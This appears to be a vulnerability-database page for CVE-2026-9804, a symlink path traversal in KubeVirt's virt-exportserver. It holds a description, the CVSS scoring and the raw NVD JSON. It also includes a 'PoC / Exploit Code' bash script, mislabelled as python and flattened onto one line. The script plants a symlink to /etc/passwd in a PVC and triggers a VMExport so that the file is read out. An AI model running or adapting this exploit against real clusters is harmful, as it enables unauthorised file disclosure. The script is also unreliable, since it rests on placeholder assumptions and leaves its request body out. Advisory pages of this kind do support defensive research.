Security Vulnerability Report
中文
CVE-2026-9804 CVSS 7.7 HIGH

CVE-2026-9804

Published: 2026-05-28 09:16:50
Last Modified: 2026-05-28 09:16:50

Description

A flaw was found in KubeVirt's virt-exportserver component. An attacker with specific namespace-level access can exploit a path traversal vulnerability in the VMExport directory endpoint. By placing a symbolic link (symlink) within an exported filesystem Persistent Volume Claim (PVC) that points outside its designated mount root, the attacker can read arbitrary files from the exporter pod's filesystem. This leads to information disclosure, potentially exposing sensitive data.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

KubeVirt virt-exportserver(具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-9804: KubeVirt virt-exportserver Path Traversal # Prerequisites: Access to a Kubernetes namespace with PVC creation rights. # 1. Create a PVC (assumed 'pvc-exploit' exists) # 2. Create a Pod that mounts the PVC and creates a malicious symlink kubectl run malicious-pod --image=alpine --overrides=' { "spec": { "containers": [{ "name": "exploit", "image": "alpine", "command": ["/bin/sh", "-c", "ln -s /etc/passwd /data/stolen_secret && sleep 3600"], "volumeMounts": [{"name": "pvc-vol", "mountPath": "/data"}] }], "volumes": [{"name": "pvc-vol", "persistentVolumeClaim": {"claimName": "pvc-exploit"}}] } } ' # 3. Create a VirtualMachineInstance (VMI) using the PVC # (Assuming VMI 'vm-victim' is configured to use pvc-exploit) # 4. Trigger VMExport for the VMI # The export server will read /data/stolen_secret, follow the symlink to /etc/passwd # and include the host's /etc/passwd in the exported archive. curl -X POST https://kubevirt-api/api/v1/namespaces/default/virtualmachineexports/ # Body: {"apiVersion": "export.kubevirt.io/v1alpha1", "kind": "VirtualMachineExport", "metadata": {"name": "export-exploit"}, "spec": {"source": {"apiGroup": "kubevirt.io", "kind": "VirtualMachineInstance", "name": "vm-victim"}}} echo "Waiting for export to complete and downloading..." # The downloaded volume will contain the symlink resolving to /etc/passwd

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9804", "sourceIdentifier": "[email protected]", "published": "2026-05-28T09:16:49.500", "lastModified": "2026-05-28T09:16:49.500", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in KubeVirt's virt-exportserver component. An attacker with specific namespace-level access can exploit a path traversal vulnerability in the VMExport directory endpoint. By placing a symbolic link (symlink) within an exported filesystem Persistent Volume Claim (PVC) that points outside its designated mount root, the attacker can read arbitrary files from the exporter pod's filesystem. This leads to information disclosure, potentially exposing sensitive data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9804", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482487", "source": "[email protected]"}]}}